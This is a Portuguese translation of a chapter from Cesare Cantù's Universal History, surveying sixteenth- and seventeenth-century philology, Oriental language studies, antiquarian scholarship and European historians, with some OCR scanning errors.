Erudição e história na Idade Moderna

Erudição e história na Idade Moderna

Cesare Cantu – História Universal

CAPÍTULO XXXIV

Erudição e história

Um movimento maior, que teve lugar na Alemanha, a fêz prevalecer em filologia à Itália; porém ela ficou menos elegante no estilo latino, e só Sleidan sustenta comparação com os italianos. João Trithéme (1462-1516), admirado por sua erudição, tirou dos arquivos grande número de informações sobre as antiguidades germânicas, posto que sem escolha. Melanchton (1492-1552) corrigiu ou antes refez o manual de história universal de João Carion, seu mestre, que adquiriu grande autoridade. João Dobnek, chamado Cochaeus, escreveu uma história de Lutero, em que se mostra muitíssimo oposto àquele reformador.

Nem os Amaltei, nem qualquer outro italiano, suportarão comparação com os poetas latinos que podem citar nesta época os outros países, sobretudo a França, e a Holanda, Muret, Henrique Etienne, José Escalígero, Bonfinius, Saint-Marthe, que escreveu a Paedotrophia, para aconselhar as mães a criarem seus filhos.

Todos estes poetas são excedidos pelo escocês Buchanan, que compôs muitas poesias obscenas, e muitas outras contra os frades e a religião, confessando, sem se envergonhar, que o fazia por ordem do rei. A sua melhor obra é a Esfera, que fornece vasto campo às digressões; pelo que respeita a seu Psalmos, são mais gabados do que o merecem.

A erudição tinha-se tranqüilamente exercido sobre os clássicos e nas buscas de palavras, quando a reforma veio pôr em suspeição, aos olhos dos católicos, um estudo que fazia invasão nos campos da fé, e tornar ridículos para os protestantes as suas freqüentes necedades.

Aldo Manúcio conta que à hora da lição ficava a passar diante da universidade romana, vazia de ouvintes; e dá por motivo disso que as línguas vivas tinham tomado o seu lugar natural, que as línguas clássicas não eram mais do que um objeto de pura curiosidade, e que a veneração que para elas dantes havia, não estava, muito proximamente, de acordo com o notável progresso das ciências. Melanchton reconheceu quão necessário era o estudo para defender a teologia contra um entusiasmo infrene; em conseqüência do que as novas universidades de Malburge (1526), de Copenague (1539), de Konisberg (1544) e de Iena (1548) vieram aumentar as antigas. Francisco I fundou o colégio das três línguas, e não houve cidade em que o grego não fosse ensinado.

Uma célebre contenda foi debatida entre os iotacistas, sustentados por Melanchton e Reuclin, e os étistas de Erasmo, a respeito da pronunciação. Froben e Badius Ascencius multiplicaram as edições gregas: o Thesaurus de Roberto Etienne (1529) foi de útil socorro para escrever corretamente, e os Commentaries línguâe graecae de Budé, posto que sem ordem, explicam o sentido das palavras, e sobretudo dos termos de direito.

Pode dizer-se que a reforma fêz nascer a filologia, a respeito da qual Teodoro de Bèze escrevia o que se segue: "Tendo chegado o tempo ordenado por Deus para tirar seus eleitos das superstições e restabelecer o esplendor da sua verdade, posto que ela houvesse sido expulsa um século antes pelo ferro e pelo fogo, êle suscitou primeiramente na Alemanha João Reuclin, para restaurar o conhecimento do hebraico, abolido inteiramente entre os cristãos. Os teólogos de Colônia e de Louvain opuseram-se a este sábio com todas as suas forças; porém Deus destruiu de tal modo seus projetos, que Reuclin e o estudo do hebraico foi aprovado, mostrando assim o Senhor que, para edificar a sua igreja, êle sabe servir-se daqueles que ela conta por seus principais adversários.

"Da escola de Reuclin saíram ilustres sábios alemães: Conrado Pelicano, João CEcolampádio, Sebastião Munster, João Capiton, Paulo Fagius, e uma infinidade de outros começaram a florescer mesmo em Louvain de onde passou a Paris, neste ínterim, Erasmo de Roterdã, que restaurou o estudo do latim. Jacques le Febvre de Etaples {Fáber Stapulansis), doutor da Sorbona, e digno de se achar em melhor companhia, vendo a Universidade de Paris sepultada numa barbárie e numa sofística horríveis, reconduzia os espíritos aos verdadeiros estudos das artes, e se aplicava também a mostrar e a corrigir os erros da tradução vulgar do Novo Testamento segundo o grego. Os doutores da Sorbona tomaram-se de tamanho despeito, principalmente Béde e Duchesne, chefe desta faculdade, que não cessaram seus ataques enquanto o obrigaram a deixar a praça. Erasmo foi também obrigado a retirar-se algum tempo depois. Apesar disso, a contar de então, a barbárie recebeu tal golpe em França, que ficou abalada e foi sempre declinando. O que é mais importante, Leão X autorizou a versão latina do Novo Testamento feita por Erasmo, ao passo que os nossos mestres de Paris a condenavam como herética, em consideração dos Colóquios.

"Algum t&mpo antes, a casa dos Médicis, como outras casas italianas, tinha acolhido vários ilustres fugitivos da Grécia, em cujo número se contava Argy-ropulo, Marcos Musurus, Demétrio, Chalcondy e principalmente um egrégio personagem, descendente de sangue imperial, chamado João Lascaris; estes estrangeiros levaram muito longe, nas escolas italianas, o conhecimento do grego. Acharam-se aí também alguns franceses, que, de volta à sua pátria, animaram estes estudos. A Sorbona opôs-se-lhes com tal calor, que, a dar-lhe crédito, estudar o grego e saber alguma coisa de hebraico era uma das maiores heresias do mundo.

"Porém Deus opôs a esses doutores personagens de uma tal autoridade, que forçoso lhes foi ver precisamente o contrário de seus desejos. Tais foram Estêvão Poncher, bispo de Paris, Luís Ruze, Francisco de Luynes, por cujos esforços o estudo do grego prosperou. Ainda mais, o grego foi ensinado pelo italiano Aleandro, depois cardeal; pelo suíço Henrique Glarean, é pelo francês Chéradame, muito versado nas letras hebraicas e gregas, posto que de um espírito leviano e de pouca elevação. Todavia, entre todos os sábios, tanto em grego como em latim, Guilherme Budé resplandecia como um Sol em meio das estrelas, de modo tal que nenhum desses adversários ousou atacá-lo; nenhum deles, a dizer a verdade, se intrometia em teologia; ora, pode dizer-se, com justiça, que eles preparavam aos outros um caminho sobre o qual eles jamais punham o pé. Foi uma felicidade para Budé achar um rei de excelente engenho e grande amador das boas letras, apesar de não saber mais do que a sua língua materna; falo de Frederico I. Tendo dedicado a este soberano seus belos Comentários da Língua Grega, êle fêz-lhe entender que era necessário não só que as três línguas e os livros escritos em cada uma delas fossem professados nas escolas e universidades do reino, mas lambem que se estabelecesse em Paris homens de mérito com razoáveis ordenados para as ensinar. O rei resolveu por esse motivo construir um magnífico colégio das três línguas com bons rendimentos, para a sustentação de alguns regentes e de um grande número de estudantes.

"Este edifício não pôde nunca ser levado a cabo; porém diversos professores lá foram instalados, sendo os de maior nomeada, quanto ao hebraico, Agathius e Francisco Vatable, aos quais se ajuntou o judeu Paulo Paraíso; quanto ao grego, Pedro Danes e Tiago Tosan; quanto a matemáticos, Oroncio Phinee; e pouco a pouco o reino de França sentiu este melhoramento".

Ainda que não se houvesse lido senão a nossa narração, isso habilitaria o leitor a suprir as reticências e as omissões desta passagem, que serve todavia para mostrar o andamento literário da filologia na Itália e na França, no momento em que ela se tinha tornado inteiramente teologia na Alemanha. Já o verdadeiro terreno da filologia era assinalado por Guilherme Postei, que foi o criador da gramática e da filologia comparadas; diversas viagens à Ásia (1538) com os embaixadores de França lhe facilitaram o estudo das Ifnguas do Oriente; êle publicou, pois, de volta a Paris,

Linguarum duodecim characteribus differentium alpha-betum, introductio, ac legendi modus longe facillimus. Estas línguas são o hebraico, o caldeu, o sírio, o samaritano, o árabe ou púnico, o índio, isto é, o etiópio, o grego, o geórgio, o sérvio, o ilírio, o armênio e o latim. Êle se limita a ensinar os alfabetos mas não se cometer muitos erros e omissões, desculpáveis, enfim, naquele que é o primeiro a falar de tal.

Pouco tempo depois, Postei publicou De origini-bus, seu de hebraicae linguae et gentis antiquitate, deque variarum linguarum affinitate liber (1538), obra de verdadeira filologia comparada. Êle emite, nesta obra, a opinião de que a orimeira língua foi o caldeu, e que do caldeu foi derivado o hebraico, o qual se tornou extremamente importante pela missão confiada ao povo eleito; as outras línguas dependem deste último idioma, e conservavam vestígios dele, o que era então a opinião comum.

Para provar esta afinidade das línquas qramati-cais com o hebraico, êle compara os alfabetos árabe, etiópio e hebraico; noutra parte, reúne palavras comuns aos latinos, aos gregos e aos hebraicos, ou aos gauleses e aos gregos. Conquanto se engane, êle tem o mérito de ter concebido a idéia destas anroximações, que deviam conduzir a verdades tão inesperadas. Conrado Gessner. que, dando com breves juízos, na Bibliotheca universalis e nas Pandectae universales, o catáloqo dos livros conhecidos, pode fornecer a medida dos conhecimentos filológicos do tempo, publicou o Mitrídates em 1558, primeira grande tentativa feita para coordenar as diferentes linguagens, porque aí se faz menção de cento e trinta idiomas antiqos e modernos conhecidos então, dos quais vinte e dois fornecem a sua versão do Pater. O autor indica as diferenças e as smelhanças deles, observando, por exemplo, que o riiope se aproxima do hebraico, mas não do caldeu. lhe divide o índio em duas partes: uma na África, isto 6, na Etiópia; a outra na Ásia, de que nós ignoramos inteiramente a língua e as letras.

Citaremos ainda a introdução às línguas caldaica, ilíaca e armênia, do italiano Ambrósio (1559), e o / fe ratione communi omnium linguarum et litterartim commentarius (1548), por Bibliander (Buchmann), no qual o autor procura provar que existe analogia entre lôdas as línguas e todas as letras dos idiomas usados no mundo, que êle pretende fazer derivar do grego.

Podemos dizer que as línguas orientais foram extremamente cultivadas nesta época especialmente o hebraico, a julgarmos pelas freqüentes citações que se encontram nas obras mesmo de uma erudição ordinária. Já fizemos menção do luquense Santo Pagnini, que traduziu a Bíblia e publicou uma boa gramática da língua hebraica; posto que prolixa, assim como um léxico desta língua, outro da língua caldeia, e outro dos sinais empregados pelos rabinos. Entre esses doutores judeus que eram em geral professores Bux-tort de Basiléia adquiriu (1609) reputação; êle publicou uma gramática, que foi tida por muito tempo como a melhor, e um léxico hebraico, caldeu e siríaco. Seu filho (1623) teve de combater a opinião de Marin, protestante convertido, o qual sustentava que o Pentateuco samaritano, recentemente introduzido na Europa e que diferia semente do outro no caráter, era preferível ao texto massorético sobre o qual são feitas as traduções protestantes.

O Arcamum punetuationis vevelatum de Luís Cap-pel (1624), professor em Saumur, marca uma época no estudo do hebraico. Ele sustenta ai que os pontos vogais foram inventados, não na origem, mas posteriormente ao sexto século, por judeus de Tiberíades, ou por Esdras, questão de alta importancia, porque daí resultava que a versão da Biblia, chamada Vulgata, era anterior a esta inovação.

Entrou-se também a estudar então uma língua até ali desprezada; queremos falar do árabe. Escalí-gero se aplicou a ela, e o léxico de Rapheling foi em grande parte baseado sobre os seus trabalhos. Porém este estudo não começou, como ciência, senão em Her-penius de Gorcum, autor da primeira gramática árabe na Europa (1613). Golius, seu sucessor na cadeira de Leida, publicou um léxico abundantíssimo, e as principais bibliotecas quiseram enriquecer-se com livros árabes. Não faltou tampouco quem cultivasse o persa, o turco, o armênio, e começou-se mesmo a ver alguns livros chineses.

Enquanto os controversistas tiravam armas deste arsenal, outros se ocupavam da busca de antiguidades, especialmente das pertencentes ao período romano. Justo, Lipso, Sigonnius, Onofre Panvínio tornaram-se célebres nessa tarefa. Porém a maioria só tinha em vista compreender Cícero melhor; além disso, todos estavam avassalados à autoridade, possuídos de respeito como se achavam para com as coisas romanas e de fé no grande orador, apesar de que êle se ocupasse menos de examinar a verdade do que de ganhar as suas causas: em Tito Lívio e em Dionísio de Halicar-nasso, pouco versado nos monumentos antigos; em Pompônio Mela e Aulo Gélio, muito ignorantes das instituições republicanas. Arqueólogos zelosos, eles queriam explicar tudo, descrever, quando lhes faltavam tanto conhecimentos técnicos como documentos,

Alguns despertaram a ciência antiquária e numismática, ciência que até então se tinha limitado a reunir sem discernimento, medalhas, inscrições, utensílios, antiqualhas de toda espécie, de toda época, de toda nação. Deste gênero era o famoso museu, em que Paulo Jove linha reunido, mendigando e lisonjeando, grande número de objetos curiosíssimos por sua variedade. Enéias Vico, de Veneza, tratou (1555), primeiro que qualquer outro, desta matéria em seus Discursos sobre as medalhas dos antigos; depois dele, Sebastião Erizzo, também veneziano, fêz aparecer (1559) com o mesmo título, um trabalho mais completo, e assentou as bases desta ciência. O grande flamengo Huberto Galzius (1557-58) publicou uma coleção de medalhas, em cujo número se acham algumas falsas ou imaginárias; êle diz que existiam então na Itália trezentas e oitenta coleções de antiguidades, e que os amadores deste gênero eram ali chamados virtuosi.

João Vicente Pinelli, de Nápoles (1535-1601), que animava as letras sem ser literato, formou uma biblioteca mandando buscar, por qualquer preço que fosse, tudo quanto aparecia, e classificou os livros por ordem de matérias; tinha junto a ela um museu de globos, de cartas, de instrumentos de matemáticas, de fósseis, e algumas medalhas das mais raras. Esta coleção, tendo sido vendida por sua morte e carregada num navio, caiu em poder dos corsários, que lançaram ao mar ou dispersaram nas costas objetos cujo valor lhes era desconhecido, e muitos pescadores apanharam folhas de manuscritos para calafetarem seus barcos ou para guarnecerem os caixilhos de suas janelas: o resto foi comprado por três mil e quatrocentos escudos de ouro pelo cardeal Borromeu, que com isso principiou a formar a Biblioteca Ambrosiana,

Onofre Panvínio, de Verona, verificou, por meio das inscrições, as antiguidades romanas e os fatos consulares; êle fêz, além disso, dissertações sobre os jogos, triunfos, nomes, cultos dos latinos. Julgou falsos os fragmentes de Ânio de Viterbo, e escreveu também sobre as antiguidades cristãs; cumpre acrescentar a seus trabalhos uma crônica universal desde a criação até o seu tempo, um quadro do mundo habitável, e outras composições históricas que causam ainda maior admiração porque a sua vida foi curtíssima.

Há quem prefira a Roma vetus et nova (1633) de Donato (1529-1568), não só às obras precedentes, mas também à de Nardini. Otávio Ferrari publicou o melhor tratado sobre os usos dos romanos (1642-1654), e Pignorio explicou a tábua isíaca. Uma obra mais importante é o Corpus inscriptionum de Gruter, de Antuérpia, último conservador da Biblioteca Palatina: êle tomou por base a coleção de Martinho Sme-zius, de Bruges, que, depois da morte do autor, tinha sido publicada à custa da República da Holanda em 1588; porém aumentou-se com uma infinidade de outras inscrições, e a sua obra foi publicada em 1603 em Heidelberq, com vinte e quatro estampas utilíssimas de José Escalígero, à custa de Marco Welser, burqomestre de Augsburgo. Falta nesta recompilação muita coisa que êle teria podido conhecer; umas vezes elas são contadas incorretamente, outras repetidas; certos nomes de autores de onde foram tiradas acham-se alterados; porém o desejo de copiar as inscrições originais e de as inserir nas obras de antiguidades achou-se assim excitado. João Jorge Grevius, professor de Utrecht, publicou uma edição consideravelmente aumentada, que só foi terminada em 1707, e que ainda hoje é a coleção mais extensa que se possui.

Escalígero tratou da cronologia com princípios e com ordem [De emendatione temporum), examinando os sistemas astronômicos e confrontando as datas. Êle foi imitado por muitos eruditos, e principalmente pelo jesuíta Petan (Doctrina temporum), 1627, que compôs depois seguindo um sistema inteiramente diferente, o seu Rationarium temporum (1633).

Além das coleções gerais, fizeram-se coleções particulares, que serviram depois de base às histórias municipais de Verona, de Brescia, Como, Faenza e principalmente a de Milão, por André Alciato. João Crisóstomo Zanchi, de Bérgamo, exalta a sua pátria (De Orobiorum sive Cenomanorum origine), Veneza (1531), como então se fazia. Suas opiniões exageradas lhe são censuradas por Gaudêncio Merula, de Novara, e por Boaventura Castiglioni, de Milão, que trataram dos gauleses cisalpinos e reconheceram, assim como Otávio Ferrari, a falsidade da obra atribuída a Ânio de Viterbo.

Os historiadores desta época empregaram principalmente a língua latina; isso foi seguramente em prejuízo da verdade, que era obrigada a se amoldar a um idioma estrangeiro. Carlo Sigónio, de Módena (1524-1584), é de primeira ordem pelos esclarecimentos que deu à história assim como às antiguidades romanas, aos faustos consulares, ao direito romano, itálico e provincial. Êle escreveu a história do Império do Ocidente, desde Domiciano até Augústulo; foi o primeiro que descreveu as vicissitudes do reino da Itália desde os lombardos até 1199, e depois até 1286, campo este ainda novo, onde êle só teve por guia as notícias tiradas dos arquivos, pelo que, apesar de seus erros, êle tem um direito ao respeito como o renovador da diplomática.

Um piedoso sentimento o levou a fazer o quadro da República dos hebreus, como para o oferecer de exemplo às constituições modernas. Pondo como prin cípio, com Aristóteles, que o fim de toda a associação civil é conciliar o útil com o justo, êle quer conselhos ocupados em tomar as medidas necessárias para o bem da nação; magistrados que não permitam desviar a utilidade da justiça; um chefe que convoque uns e outros, e lhe distribua os negócios da sua alçada; e prossegue deste modo demonstrando quanto todas estas coisas estavam felizmente combinadas entre os hebreus

Sigónio tinha sido encarregado por Gregório XIII de fazer uma história eclesiástica; mas outros tinham empreendido já esta tarefa num sentido diferente, desde as origens. Flak Francowtz (Flaccus Illyricus) (1520), achando os luteranos muito vagarosos em adiantar a obra da reforma, instalou-se em Magdeburgo para preparar as suas armas, e, coligindo dos livros todas as queixas formuladas contra a igreja, publicou os Testamentos da verdade. Êle concebeu então a idéia de uma história eclesiástica extraída das fontes, e tomou por colaboradores João Vigaud e Mateus Juge (1533), aos quais ajuntou depois quinze outros. Depois de terem trabalhado seis anos conjuntamente antes de dar a lume coisa alguma, eles publicaram, em quatro anos, treze volumes de Centurie magdeburguenses, abrangendo um século cada livro. Esta obra constituiu o ataque mais vigoroso contra a igreja, porque ela afeta basear-se nos fatos, de que tira partido com uma grande habilidade para combater corajosamente o catolicismo por uma aplicação rigorosa.

O cardeal César Barônio escreveu (1530-1607), para o refutar, os seus Anais, inteiramente a favor da supremacia papal: como tinha à sua disposição os arquivos pontificais, pôde consultar documentos importantes mesmo sobre a história profana, de que Roma tinha sido o centro (1). Êle não passou do duodécimo século; Raynald continuou; e Henrique Spondan (1568-1643), que fêz um resumo da obra, a conduziu até 1602, Nós já temos mostrado a importância que damos a este precioso trabalho.

Precedentemente fizemos menção dos historiadores do Concílio de Trento.

Em geral, não se mirava ainda, nas grandes obras históricas, reunir os materiais diversos para com eles formar um todo homogêneo depois de os ter estremeado .severamente, nem recorrer às fontes imediatas para nelas beber com inteligência. Lançava-se mão dos escritores anteriores mais nomeados e completavam-se suas narrações, ou suprindo com um o que faltava ao outro, ou considerando os fatos debaixo de um aspecto diferente, ou inserindo-lhes documentos novos, mas sem haver escrúpulo em copiar longos fragmentos; e limi-lando-se algumas vezes a traduzir, Sleidan enfiou umas às outras as passagens de diversos autores, para formar a sua História da Reforma. De Thou fêz outro tanto: a respeito da Escócia, reproduziu inteiramente Buchanan; a respeito da Alemanha, Sleidan e Chytrens; a respeito da Itália, Adriani; a respeito da Turquia, Busbeck e Leuvenclavius. Sarpi extraiu largamente de Paulo Jove, de Guicciardini, de De Thou, principalmente de Sleidan, único autor de que êle se serviu durante um longo intervalo. O trabalho reduzia-se traduzir bem o que se extraía para a língua em que s escrevia, a fazer condizer o estilo com o do resto da obra.

(1) Existe uma carta de Frei Paolo Sarpi a Casauban, em data de 8 de junho de 1612, pela qual êle o estimula a escrever contra Barônio do qual diz todo mal possível. Êle o adverte unicamente de que se o acusar de má fé e de fraude, nenhum dos que o conheceram lhe dará crédito, em razão da sua inteireza. Desgraçadamente, diz Sarpi, êle captava a boa opinião de quem quer que fosse que se achasse próximo dele.

Joviano Pontano compôs um diálogo latino sobre a axte histórica, diálogo que é o primeiro escrito moderno sobre este assunto; porém êle não se aplica senão à retórica fazendo da história uma espécie de poesia {historium, poeticum pene solutam esse quamdam), Êle nota conseguintemente que Tito Lívio começa pela metade de um verso (Facturus ne opevae pretium) e Salústio por um hexâmetro espondaico (Bellum scrip-turus sim quod populus romanas); e compara algumas passagens destes autores com outras de Virgílio. Êle recomenda menos favoravelmente a brevidade, que consiste nas palavras, e a rapidez que consiste no movimento do estilo. Quanto ao fundo, quer particularidades, descrições de lugares, discursos e sobretudo circunstâncias biográficas.

Francisco Patrizi compara também a história com a poesia, em dez diálogos cheios de discussões enfadonhas: segundo êle, à exceção das histórias sagradas, as da antiguidade oferecem muita incerteza; as que tratam dos tempos modernos foram escritas sem liberdade; e toda a diferença entre o historiador e o poeta consiste em que o primeiro não altera os lugares e o tempo. Nós somos um espetáculo para o céu e não há verdade senão nas obras de Deus e da natureza. Patrizi esteia-se no tratado de Luciano, o que faz também o espanhol Morzillo (De historia institutione). Mais pensador, Antônio Baudoi, em seus Prolegômenos históricos, considera a história em suas relações com a jurisprudência e a política. A história deve instruir, e avilta-se quando procura divertir; não deve ser dramática, mas pragmática, isto é, real e positiva; ela não deve sobretudo desprezar coisa alguma do que diz respeito à República e ao sistema das leis, a geografia e a estatística. Os historiadores desempenham o papel de jurisconsultos para julgar a moralidade das ações, assim como importa aos jurisconsultos estudarem a história, sem a qual é impossível governar e reinar.

Os preceitos históricos dados por Foglietta em sua Introdução à História de Gênova, e por Viperano {Describenda historia), não são, apesar dos louvores de Tiraboschi, mais do que trivialidades e plágios. O mesmo escritor eleva igualmente às nuvens Agostinho Moscardi, que publicou em Roma, em 1630, a Arte histórica, tradução quase servil da Arte histórica, publicada em 1604 pelo ferrarense Ducci. Êle quer que a história seja mais elevada do que o gênero deliberativo, e, como as guerras são a sua principal ocupação, que não se mingue essas tragédias com minuciosas narrações, nem com detalhes de cronologia e de geografia. Êle pede a verdade, mas com muitas atenções para os grandes, aos quais todavia dirige alguns aforismos notáveis, ensinando-lhes que o único meio de obterem a benevolência da história é de se mostrarem bons. Êle tem pouca confiança nos que escrevem seus próprios feitos; quereria que o historiador fosse um filósofo versado na ciência social, e digno de praticar as artes que fazem a educação dos povos, a saber: a pintura, a poesia, o ensino e a história. Aprova as arengas como todos os retóricos, mas contanto que sejam produzidas pelo assunto; quanto à dicção histórica, quereria que ela conservasse as imagens e as ficções, a harmonia e não a medida da poesia.

O padre Antônio Passevino de Mântua (1534-1612), depois de ter servido em diferentes cortes, entrou para a Companhia de Jesus, e foi empregado nos negócios, principalmente contra os protestantes do Norte. A sua Descrição da Moscóvia é o primeiro livro que nos introduz nesta nação, ainda separada dos Estados europeus. Êle oferece na Biblioteca Seleta uma espécie de enciclopédia metódica, em que trata da maneira de estudar cada ciência, e depois dos autores que a respeito delas têm escrito, dando as regras principais de cada uma, e formulando sobre elas um juízo que as mais das vezes é muito sensato. Ela foi completada pelo Apparatus sacetr, catálogo arrazoado que compreende pelo menos seis mil autores eclesiásticos.

Jerônimo Falletti, de Ferrara, contou {De Bello sicambrico) a guerra de Carlos V contra os franceses nos Países-Baixos em 1542 e a guerra (1572-1649) contra a liga de Smalkalde. 

Mais tarde, Famiano Strada, jesuíta romano, descreveu em latim a sublevação dos Países-Baixos, obra composta para as escolas, em que as digressões e as prolixidades são freqüentes, por isso que o autor gosta de sentenças e de comparações de retórica. Êle obteve grande número de documentos do gabinete de Madri, porém ignorou o que é concernente aos protestantes. Alheios à política e à arte militar, supre isso por uma sã moral, porém expressa em termos gerais. Posto que inteiramente dedicado à Espanha, expõe ingenuamente o que sabe, e como pode. O que prova que êle não é nem desleal, nem desumano, é que inspira um vivo interesse pelos mártires da causa que êle desaprova. Êle exprobrava a Tácito de ser pouco verdadeiro e ímpio, de não admitir a intervenção da Providência nos acontecimentos humanos, de ver constantemente as coisas pelo mau lado, de tornar os reis odiosos aos súditos, denegrindo seus atos e intenções. Não gostava tampouco de suas perpétuas sentenças, e contudo está longe de poder censurar tais erros; admirador de Tito Lívio, excede-o em prolixidade. Scioppio o refutou na Infamia l’\imiani. O cardeal Bentivoglio, que se ocupou do mesmo assunto, diz que o defeito de Strada é sair da entrada (em italiano strada), fazendo digressões sobre Cada personagem que entra em cena. Para nós não é isso um defeito, porque êle nos conservou assim um grande número de particularidades sempre interessantes quando se trata de homens ilustres.

Este mesmo cardeal Bentivoglio (1579-1644), núncio apostólico nos Países-Baixos durante nove anos, contou em italiano as guerras de que eles foram teatros, num estilo simples, mas sem finura nem graça, e em frases descoradas. Quando por acaso lhe acontece querer mostrar-se espirituoso, com antíteses e fatuidades pretensiosas, "por tal modo zeloso do número oratório, sustentado e empolado, que, para o apoiar e bolear, não repeliu a freqüência de certas partículas inteiramente estéreis e ociosas". As suas Memórias têm grande importância, assim como as suas revelações sobre as cortes de Flandres e de França, cujos manejos deixam bem conhecer, apesar de que este prelado, ou porque não penetrasse muito profundamente as coisas, ou porque quisesse ficar imparcial, se contenha na superfície, para se entreter com a descrição dos feitos de armas, essa parte mais vã da história.

Os seis livros da Guerra da Flandres, por Pompeu Giustiniano (1616), só têm mérito no sentido dos feitos militares.

Ludovico Guicciardini, irmão do historiador (1576-1631) publicou também uma boa descrição dos Países-Baixos (Antuérpia, 1567). Caterino Davila, de Pádua, descreve, com a arte dos antigos e muitas vezes com o seu espírito, as guerras civis da Flandres, em que êle combateu. Exato nos fatos, conhece bem o caráter francês; sua vista é sagaz e a sua disposição atilada. Mais realista do que católico, êle observa friamente a política como um jogo de fortes e de velhacos. Desculpa Catarina de Médicis, sua madrinha, e a matança de S. Bartolomeu não lhe parece repreensível senão porque não surtiu efeito. Tem-se dito com razão que se deve desconfiar de Davila quando êle louva a corte, e de De Thou quando a censura. Êle não é afetado, ainda que prolixo à maneira italiana, e minucioso como um homem habituado a observar nas antecâmaras. Ofendido, por algumas palavras proferidas por Tomás Stigliani, de Parma, homem de letras, desafiou-o e varou-o de lado a lado. Pôs-se então ao soldo dos venezianos, a favor dos quais fêz a guerra do Levante; depois foi, na qualidade de governador, para Brescia, onde publicou a sua obra e onde foi morto passado pouco tempo.

Devemos citar também os relatórios de embaixadores, e de que a Itália oferece ampla colheita. Estes escritos, de uma grave simplicidade, de um juízo sólido, como emanados de pessoas habituadas aos negócios, não pertencem à história; porém, prestam-lhe socorro, julgando os tempos cederem aos prejuízos dos historiadores.

A Alemanha ficou atrás quanto à história, porque os homens de letras alemães empregavam unicamente a sua atenção sobre a filosofia e sobre a literatura antigas; por outro lado, as suas principais forças estavam empregadas na luta suscitada pela reforma, de sorte que só restava, para consagrarem à história, pessoas faltas de conhecimentos políticos. Os domínios da arqueologia alargaram-se. A eclesiástica foi esclarecida, e por ela a história política; porém tudo eram ir.ihalhos de preparação, trabalhos sempre executados * In relação com a filosofia ou teologia. João Thun-inayer, apelidado Aventino de Abensberg (1466), sua Cidade natal, compôs uma crônica da Baviera, compreendendo os acontecimentos de toda a Alemanha: |8ta obra importante, porque era nova e rica de documentos, desagradou porque era verdadeira: por isso só foi dada à luz mutilada e trinta e dois anos depois ile ter sido terminada. O alemão do autor corre parelhas com o de Lutero.

Sebastião Munster encetou a estatística em sua Cosmografia Universal (1489-1552), que êle acompanha de gravuras em madeira, e onde, em meio de erros inevitáveis, se acham informações exatas.

João Philipson, apelidado Sleidan, pelo nome da sua pátria, empregado primeiramente na França em vários negócios (1506-1556), foi posteriormente nomeado historiógrafo da liga de Smalkalde. Depois de ter escrito as Quatro Monarquias, livro elementar, compôs em vinte e seis livros, de um latim puro e simples, a história do seu tempo (1517-1556), história que é em suma a de Carlos V, e em que êle dá prova de muitos conhecimentos. Êle trata principalmente da reforma, que considera como obra da Providência e como o maior interesse da humanidade. Tendo Paulo Jove falado ao acaso, e coligido sem discernimento o que queria dizer, Sleidan intenta refutá-lo, assim como Colchoeus e aplica-se a infamar constantemente Carlos V, fundando-se sobre atos públicos e sobre bons testemunhos.

Frederico Hortheleder propôs-se a igual intento no seu Discurso sobre a justiça da guerra feito ao imperador pelos Estados protestantes.

Gil Tschudi, pai da história suíça, serviu o seu país (1505), e contou com patriotismo os acontecimentos desde o ano 1000 até o ano 1564. Francisco Guil-limanu de Friburgo ocupou-se (1612), pelo contrário, dos inimigos da Suíça em seu Habsbuvgica.

Entre os historiadores de que a Holanda abunda, cumpre distinguir Mateus e João Voss (1547-1625), autores dos Anais, e Ubb d’Ems, cujos Res Frisicoe, obra preciosa, chegam até 1564. Cada um dos escritores destas regiões coloriu a sua narração, conforme era protestante ou católico. Assim, Bourgoigne (1586-1646), jurisconsulto flamengo, bem informado e dotado de movimento, escreveu no sentido católico. Muitos outros sofreram a influência contrária: desse número foi Pedro Cristiano Bor (1559-1635) a quem os Estados encarregaram da missão especial de dar conta dos acontecimentos, e abriram os arquivos, de onde êle extraiu bons documentos, porém sem os saber dispor. O poeta Pedro Van Hooft adotou melhor método (1555-1587); porém Hugo Grotius excedeu-os a todos por seus vastos conhecimentos, por sua clareza na maneira de expor os fatos e de os distribuir. Êle desenha maravilhosamente os caracteres, liga habilmente os acontecimentos à causa de que eles derivam, e sabe fazer o elogio de Nassau, apesar de ter sido perseguido por êle.

Voss publicou um exame (1623) dos antigos historiadores latinos e dos da Idade Média, exame que ainda hoje é útil. Esta obra recebeu ricos suplementos de Mallinkrot, Hallervord, Sand, Apóstolo Zeno. Voss limita-se às circunstâncias biográficas, enquanto que la Mothe le Vayer, faz boas observações filosóficas sobre catorze historiadores gregos e dez latinos, para os caracterizar. Voss fêz preceder a sua obra por Tratado da arte histórica, o mais completo que então houve e de uma grande erudição, posto que escolástica. Êle é partidário das arengas, recomenda as digressões, os preâmbulos, e exige do historiador o conhecimento de todos os negócios, assim como ousadia para dizer a verdade, ainda que lhe não imponha a obrigação de a dizer toda inteira.

A Dinamarca, a Suécia, a Polônia, a Boêmia e a Hungria tiveram também historiadores, dos quais nenhum é notável.

Na sua História da Escócia, Buchanan faz abnegação da crítica, arrastado como é pela parcialidade; Guilherme Camden é mais leal a de Isabel: esses foram na Inglaterra os primeiros ensaios de uma arte que devia mais tarde fornecer grandes modelos. Lorde Herbert de Cherbury empreendeu a história de Henrique VIII, Bacon a de Henrique VII, e foi o primeiro que aplicou a filosofia à apreciação refletida dos acontecimentos, ainda que prodigalizando o louvor ao rei, assim como ao artifício e ao egoísmo em política.

As primeiras obras francesas desta época são ainda impressas com a tinta feudal. Assim o Servo leal conta "os fatos, ações, triunfos, proezas do bom cavaleiro, destemido e irrepreensível, o senhor Bayard", revestindo o caráter e os sentimentos do seu herói, mas ostentando uma elegância e uma precisão desconhecidas a seus predecessores. O marechal de Floran-ges, feito prisioneiro em Pavia, escreveu durante o seu cativeiro, num estilo singelo, a história das coisas memoráveis acontecidas desde 1449 até 1521; Guilherme e Martinho du Bellay, que tomaram grande parte nos acontecimentos da época, os descreveram inteiramente em vantagem de Francisco I e em detrimento de Carlos V.

